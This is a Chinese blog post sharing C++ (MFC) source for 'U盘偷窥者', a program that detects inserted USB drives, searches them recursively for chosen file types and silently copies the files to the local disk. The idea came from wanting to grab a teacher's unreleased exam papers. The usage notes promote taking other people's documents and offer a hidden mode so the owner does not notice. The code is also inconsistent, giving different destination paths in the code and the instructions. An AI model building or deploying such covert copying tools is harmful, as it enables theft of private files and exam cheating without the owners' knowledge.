今天发一篇文章吧,关于搜索文件的,我的软件名字叫做"U盘偷窥者"
灵感是来自我们的电磁学老师,我们快要考试了,老师每年都会把上届的试题给我们一份电子档的,当然每年的题也都差不多,老师可能也怕挂多了,自己面子上面过不去吧.然后上次同学拷贝试卷的时候,突然发现在试卷旁边的一个文件夹中还有些word文档,也准备拷回去,考试嘛,试卷当然不怕多咯!老师一看,连忙说:"这是我今年出的题目,你们拷回去了我怎么办!" 当时我们都直乐.但我想如果要是有一个可以搜索U盘的文件的软件,然后拷贝到电脑上面,那该有多好啊,因为我们可以在上课之前打开电脑然后运行程序,老师U盘一插进去就可以自动的把word文档复制到电脑上面来了吗,最重要的是老师还不知道,那我们班的同学不都可以不挂科了吗?呵呵,想法是不是很好!(想是这么想,但是我还是不会这样做的,其一我不担心挂科,其二,考试本来就是公平竞争嘛,这样做了心里过不去),这时候我就在构思怎么去实现这个功能,软件很简单,3个功能:
1.查找是否有U盘存在
2.搜索指定的文件夹的指定格式的文件(最重要的)
3.拷贝到硬盘上面
1和3都好实现,但是2 就不怎么好实现了.我去网上查了一下,搜索文件的代码很多,要么是编译通不过,要么就是没有我需要的,最后还是觉定自己来动手实现吧.毕竟求人不如求己嘛!
现在我把核心代码发出来,源码在下面可以下载,仅供各位想学习的人参考,交流... 我也不是计算机专业的,代码粗糙,各位别见笑...我尽量把代码注释的详细点,毕竟有很多初学者...
2.查找文件
代码:
/*我的实现和网上很多人实现方法不一样,这个是自己看别人代码然后悟出来的*/ /*我们要查找的是path路径下的,后缀名为format的文件*/ void findfile(CString path,CString format) { CFileFind ff; //这里用的是CFileFind这个类 CString str; //保存你查找的具体文件的后缀名 BOOL work = ff.FindFile(path); //查找指定路径下的文件 while(work) { work = ff.FindNextFile(); CString ss = ff.GetFileName(); //获得文件的名字 int t =ss.Find('.'); str = ss.Right(ss.GetLength()-ss.Find(".",0)-1); //取点后面的字符 str.MakeLower(); //变成小写字母 if(t !=-1) //表示不是一个文件夹,而是一个文件 有"."存在 {/*我这里没考虑文件名为"."和".."的两个目录,因为我认为文件名中有"."表示它是个文件而不是目 录,具体看代码*/ if(str==format) { CString paths = ff.GetFilePath(); CString disk ="D:\\Copy的U盘文件"; ::CreateDirectory(disk,NULL);//创建一个目录放拷贝过来的文件 disk+="\\"; disk+=ff.GetFileName(); ::CopyFile(paths,disk,true);//拷贝文件 } } else //如果是文件夹的话,就递归查找 { CString path1 = ff.GetFilePath();//其实是获取当前目录下的所有文件 path1+="\\*.*"; findfile(path1,format); //递归 } } ff.Close(); }
代码如下:
回调函数
代码:
void CALLBACK EXPORT TimerProc( HWND hWnd, // handle of CWnd that called SetTimer UINT nMsg, // WM_TIMER UINT nIDEvent , // timer identification DWORD dwTime // system time ) { char uType[] = "C:\\"; for(;uType[0]<='Z';uType[0]++) //遍历磁盘找到可移动磁盘,获取可移动磁盘号 { if(DRIVE_REMOVABLE ==GetDriveType(uType))//符合这个条件的就是可移动磁盘,方法有很多了 { memset(uDisk,0,10);//重新置零,uDisk[]用于保存U盘盘符 uDisk[0]=uType[0]; strcat(uDisk,":\\*.*"); } } if(doc) //doc是BOOL型的,由外面传进去的 具体看源码 findfile(uDisk,"doc"); //搜索指定文件和拷贝文件 }
使用说明:
本程序用于复制U盘的一些文档,程序会在C:\\CopyFormUDisk\\下生成你拷贝的文件.如果需要获取别人u盘上面的一些Word excle等文档.
本程序使用简单,只需要打开程序,设置你需要获取的文件格式,然后插上U盘几秒钟即可,当然如果你不希望别人知道你获取了他的文件,你可以把程序设置成隐藏,这样更隐蔽.
本程序 F2是隐藏,F3是显示程序,F4是关闭程序
刘强
长江大学
2011.1.6
有些朋友是临时会员的可以到我的V盘上面下载软件: http://www.vdisk.cn/liuqiangni